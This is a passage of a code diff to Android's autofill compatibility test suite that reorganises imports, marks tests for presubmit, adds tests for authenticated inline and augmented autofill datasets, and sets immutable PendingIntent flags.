+    private static CannedAugmentedFillResponse suggestion(AutofillId targetFieldId,
+            String suggestionTitle, Uri suggestion, String suggestionMimeType) {
+        ClipData clip = new ClipData(suggestionTitle,
+                new String[]{suggestionMimeType}, new ClipData.Item(suggestion));
+        return suggestion(targetFieldId, clip);
+    }
+
+    private static CannedAugmentedFillResponse suggestion(AutofillId targetFieldId,
+            ClipData content) {
+        return new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("inline").build(),
+                        targetFieldId)
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+                        .setContent(targetFieldId, content)
+                        .build())
+                .build();
+    }
+
+    private CannedAugmentedFillResponse suggestionWithAuthFlow(AutofillId targetFieldId,
+            ClipData contentBeforeAuth, ClipData contentAfterAuth) {
+        Dataset authResult = new Dataset.Builder(createInlinePresentation("auth"))
+                .setId("dummyId")
+                .setContent(targetFieldId, contentAfterAuth)
+                .build();
+        IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+                authResult, null, RESULT_OK);
+        return new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("inline").build(),
+                        targetFieldId)
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+                        .setContent(targetFieldId, contentBeforeAuth)
+                        .setAuthentication(authAction)
+                        .build())
+                .build();
+    }
+
+    private static Uri sampleContentUri() {
+        String uniqueSuffix = System.currentTimeMillis() + "_" + SUFFIX_COUNTER.getAndIncrement();
+        return Uri.parse(ContentResolver.SCHEME_CONTENT + "://example/" + uniqueSuffix);
+    }
+
+    private static final class MyContentReceiver implements OnReceiveContentListener {
+        public static final String[] MIME_TYPES = new String[]{"image/*"};
+        public static final String TEXT_FILLED_FOR_URI = "uri";
+
+        @Override
+        public ContentInfo onReceiveContent(View view, ContentInfo payload) {
+            StringBuilder sb = new StringBuilder();
+            ClipData clip = payload.getClip();
+            for (int i = 0; i < clip.getItemCount(); i++) {
+                if (i > 0) {
+                    sb.append("\n");
+                }
+                ClipData.Item item = clip.getItemAt(i);
+                if (item.getUri() != null) {
+                    sb.append(TEXT_FILLED_FOR_URI);
+                } else {
+                    sb.append(item.getText());
+                }
+            }
+            ((TextView) view).setText(sb.toString());
+            return null;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
index 332c645..98d633a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedLoginActivityTest.java
@@ -16,26 +16,28 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.CLIENT_STATE_KEY;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.CLIENT_STATE_VALUE;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.CLIENT_STATE_KEY;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.CLIENT_STATE_VALUE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.MyAutofillCallback;
-import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
-import android.autofillservice.cts.augmented.AugmentedLoginActivity;
-import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillEventHistory;
 import android.service.autofill.FillEventHistory.Event;
 import android.view.autofill.AutofillId;
@@ -47,6 +49,7 @@
 
 import java.util.List;
 
+@Presubmit
 public class InlineAugmentedLoginActivityTest
         extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index 7ebe26d..bae5a21 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -16,27 +16,33 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.MyWebView;
-import android.autofillservice.cts.WebViewActivity;
-import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
-import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
 
+@FlakyTest(bugId = 162372863)
 public class InlineAugmentedWebViewActivityTest extends
         AugmentedAutofillAutoActivityLaunchTestCase<WebViewActivity> {
 
@@ -79,8 +85,14 @@
 
         // Trigger autofill.
         mActivity.getUsernameInput().click();
-        sReplier.getNextFillRequest();
-        sAugmentedReplier.getNextFillRequest();
+
+        final FillRequest autofillRequest = sReplier.getNextFillRequest();
+        AutofillId usernameId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_USERNAME);
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+                (AutofillValue) null);
 
         // Assert not shown.
         mUiBot.assertNoDatasetsEver();
@@ -143,7 +155,12 @@
                         .build())
                 .build());
 
-        sAugmentedReplier.getNextFillRequest();
+        final AugmentedFillRequest request = sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        AugmentedHelper.assertBasicRequestInfo(request, mActivity, usernameId,
+                (AutofillValue) null);
+
         final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
 
         // Now Autofill it.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index b39f549..1ce3a8f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -18,26 +18,30 @@
 
 import static android.app.Activity.RESULT_CANCELED;
 import static android.app.Activity.RESULT_OK;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.UNUSED_AUTOFILL_VALUE;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import android.autofillservice.cts.AbstractLoginActivityTestCase;
-import android.autofillservice.cts.AuthenticationActivity;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.UiBot;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.UiBot;
 import android.content.IntentSender;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.view.inputmethod.InlineSuggestionsRequest;
 
 import org.junit.Test;
 import org.junit.rules.TestRule;
@@ -74,6 +78,7 @@
      * Activity during the FillResponse authentication flow, we will fallback to dropdown when
      * authentication done and then back to original Activity.
      */
+    @Presubmit
     @Test
     public void testFillResponseAuth_withNewAutofillSessionStartByActivity()
             throws Exception {
@@ -119,6 +124,7 @@
         dropDownUiBot.assertDatasets("Dataset");
     }
 
+    @Presubmit
     @Test
     public void testFillResponseAuth() throws Exception {
         // Set service.
@@ -164,6 +170,7 @@
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthTwoFields() throws Exception {
         datasetAuthTwoFields(/* cancelFirstAttempt */ false);
@@ -229,79 +236,116 @@
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthPinnedPresentationSelectedAndAutofilled() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ null, /* isPinned= */true);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthEphemeralIsTrue() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ true, /* isPinned= */false);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthEphemeralIsFalse() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ false, /* isPinned= */false);
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthEphemeralNotSet() throws Exception {
+        testDatasetAuthEphemeralOrPinned(/* isEphemeralDataset= */ null, /* isPinned= */false);
+    }
+
+    private void testDatasetAuthEphemeralOrPinned(Boolean isEphemeralDataset, boolean isPinned)
+            throws Exception {
         // Set service.
         enableService();
 
         // Prepare the authenticated dataset
         final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .build());
+                        .setField(ID_USERNAME, "dude", null,
+                                Helper.createInlinePresentation("dude"))
+                        .setField(ID_PASSWORD, "sweet", null,
+                                Helper.createInlinePresentation("sweet"))
+                        .build(), null, isEphemeralDataset);
 
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
                         .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, null,
-                                Helper.createPinnedInlinePresentation("auth-pinned"))
+                                isPinned ? Helper.createPinnedInlinePresentation("auth-username")
+                                        : Helper.createInlinePresentation("auth-username"))
                         .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE, null,
-                                Helper.createInlinePresentation("auth-unpinned"))
+                                Helper.createInlinePresentation("auth-password"))
                         .setPresentation(createPresentation("auth"))
                         .setAuthentication(authentication)
                         .build());
         sReplier.addResponse(builder.build());
 
         // Trigger auto-fill, verify seeing dataset.
-        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-username");
         sReplier.getNextFillRequest();
 
         // ...and select the dataset, then check the authentication result is autofilled.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-pinned");
+        mUiBot.selectDataset("auth-username");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
 
-        // Clear the username field, and expect to see the pinned suggestion again, rather than
-        // the one returned from auth intent.
+        // Clear the username field
         mActivity.onUsername((v) -> v.setText(""));
-        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+        final boolean expectOldDataset = isEphemeralDataset == null ? isPinned : isEphemeralDataset;
+        if (!expectOldDataset) {
+            // Expect to see the suggestion returned from auth intent.
+            assertSuggestionShownBySelectViewId(ID_USERNAME, "dude");
+            return;
+        }
 
+        // Below codes are only applicable for the ephemeral case (isEphemeralData is set to true
+        // or isPinned is set to true)
+
+        // Expect to see the old suggestion, rather than the one returned from auth intent.
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-username");
         // Now select the dataset again and verify that the same authentication flow happens.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-pinned");
+        mUiBot.selectDataset("auth-username");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
 
         // Clear the username field, put focus on password field, and then clear the password field,
-        // Expect to see unpinned suggestion.
+        // Expect to see the old suggestion.
         mActivity.onUsername((v) -> v.setText(""));
         mUiBot.selectByRelativeId(ID_PASSWORD);
         mActivity.onPassword((v) -> v.setText(""));
-        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-password");
 
         // Now select the dataset again and verify that the same authentication flow happens.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-unpinned");
+        mUiBot.selectDataset("auth-password");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
 
-        // Clear the password field, and expect to see the unpinned suggestion again, rather than
+        // Clear the password field, and expect to see the old suggestion again, rather than
         // the one returned from auth intent.
         mActivity.onPassword((v) -> v.setText(""));
-        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-password");
 
         // Now select the dataset again and verify that the same authentication flow happens.
         mActivity.expectAutoFill("dude", "sweet");
         AuthenticationActivity.setResultCode(RESULT_OK);
-        mUiBot.selectDataset("auth-unpinned");
+        mUiBot.selectDataset("auth-password");
         mUiBot.waitForIdle();
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testDatasetAuthFilteringUsingRegex() throws Exception {
         // Set service.
@@ -351,6 +395,86 @@
         mActivity.assertAutoFilled();
     }
 
+    @Presubmit
+    @Test
+    public void testDatasetAuthInlineSuggestionsRequestForTwoPartitions() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response and configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("auth"))
+                        .setInlinePresentation(createInlinePresentation("auth"))
+                        .setAuthentication(AuthenticationActivity.createSender(mContext, 1,
+                                new CannedDataset.Builder()
+                                        .setField(ID_USERNAME, "dude")
+                                        .build()))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude");
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        final InlineSuggestionsRequest inlineSuggestionsRequest =
+                sReplier.getNextFillRequest().inlineRequest;
+
+        // Tap authentication request.
+        mUiBot.selectDataset("auth");
+        mUiBot.waitForIdle();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.waitForIdle();
+
+        // Assert inline suggestions request on authentication activity.
+        assertWithMessage("Auth intent extras should contain InlineSuggestionsRequest")
+                .that(AuthenticationActivity.getInlineSuggestionsRequest())
+                .isEqualTo(inlineSuggestionsRequest);
+
+        // Now tap on password to trigger a new autofill request since it's a different partition.
+
+        // Prepare the authenticated response
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("auth2"))
+                        .setInlinePresentation(createInlinePresentation("auth2"))
+                        .setAuthentication(AuthenticationActivity.createSender(mContext, 2,
+                                new CannedDataset.Builder()
+                                        .setField(ID_PASSWORD, "sweet")
+                                        .build()))
+                        .build())
+                .build());
+        // Set expectation for the activity
+        mActivity.expectPasswordAutoFill("sweet");
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdle();
+        final InlineSuggestionsRequest inlineSuggestionsRequest2 =
+                sReplier.getNextFillRequest().inlineRequest;
+
+        // Tap authentication request.
+        mUiBot.selectDataset("auth2");
+        mUiBot.waitForIdle();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.waitForIdle();
+
+        // Assert inline suggestions request on authentication activity.
+        assertWithMessage("Auth intent extras should contain InlineSuggestionsRequest")
+                .that(AuthenticationActivity.getInlineSuggestionsRequest())
+                .isEqualTo(inlineSuggestionsRequest2);
+    }
+
+    @Presubmit
     @Test
     public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
         fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
@@ -401,7 +525,8 @@
 
         // Trigger auto-fill, make sure it's showing initially.
         assertSuggestionShownBySelectViewId(ID_USERNAME, "auth");
-        sReplier.getNextFillRequest();
+        InstrumentedAutoFillService.FillRequest fillRequest = sReplier.getNextFillRequest();
+        final InlineSuggestionsRequest inlineSuggestionsRequest = fillRequest.inlineRequest;
 
         // Tap authentication request.
         mUiBot.selectDataset("auth");
@@ -429,6 +554,9 @@
         // Assert client state on authentication activity.
         Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
                 "CSI", "FromResponse");
+        assertWithMessage("Auth intent extras should contain InlineSuggestionsRequest")
+                .that(AuthenticationActivity.getInlineSuggestionsRequest())
+                .isEqualTo(inlineSuggestionsRequest);
 
         // Assert client state on save request.
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index 595b7ea..49d9fb2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -16,24 +16,26 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.NULL_DATASET_ID;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetSelected;
-import static android.autofillservice.cts.Helper.assertFillEventForDatasetShown;
-import static android.autofillservice.cts.Helper.assertFillEventForSaveShown;
-import static android.autofillservice.cts.Helper.assertNoDeprecatedClientState;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.testcore.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.FillEventHistoryCommonTestCase;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.autofillservice.cts.LoginActivity;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.commontests.FillEventHistoryCommonTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillEventHistory;
 import android.service.autofill.FillEventHistory.Event;
 import android.support.test.uiautomator.UiObject2;
@@ -46,6 +48,7 @@
 /**
  * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
  */
+@Presubmit
 @AppModeFull(reason = "Service-specific test")
 public class InlineFillEventHistoryTest extends FillEventHistoryCommonTestCase {
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index f46dd19..546dae4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -16,14 +16,16 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 
-import android.autofillservice.cts.AbstractLoginActivityTestCase;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
 import org.junit.rules.TestRule;
@@ -33,6 +35,7 @@
  * Tests for inline suggestion filtering. Tests for filtering datasets that need authentication are
  * in {@link InlineAuthenticationTest}.
  */
+@Presubmit
 public class InlineFilteringTest extends AbstractLoginActivityTestCase {
 
     private static final String TAG = "InlineLoginActivityTest";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 3ca3f34..4e3a7a5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -16,15 +16,15 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Timeouts.MOCK_IME_TIMEOUT_MS;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Timeouts.MOCK_IME_TIMEOUT_MS;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
@@ -34,18 +34,20 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.PendingIntent;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.DummyActivity;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.autofillservice.cts.LoginActivityCommonTestCase;
-import android.autofillservice.cts.NonAutofillableActivity;
-import android.autofillservice.cts.UsernameOnlyActivity;
+import android.autofillservice.cts.activities.DummyActivity;
+import android.autofillservice.cts.activities.NonAutofillableActivity;
+import android.autofillservice.cts.activities.UsernameOnlyActivity;
+import android.autofillservice.cts.commontests.LoginActivityCommonTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
 import android.content.Intent;
 import android.os.Binder;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.Direction;
 
@@ -55,6 +57,7 @@
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
+@Presubmit
 public class InlineLoginActivityTest extends LoginActivityCommonTestCase {
 
     private static final String TAG = "InlineLoginActivityTest";
@@ -244,7 +247,8 @@
         enableService();
 
         Intent intent = new Intent(mContext, DummyActivity.class);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent =
+                PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
 
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
@@ -420,7 +424,8 @@
         enableService();
 
         Intent intent = new Intent(mContext, DummyActivity.class);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent =
+                PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
 
         final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
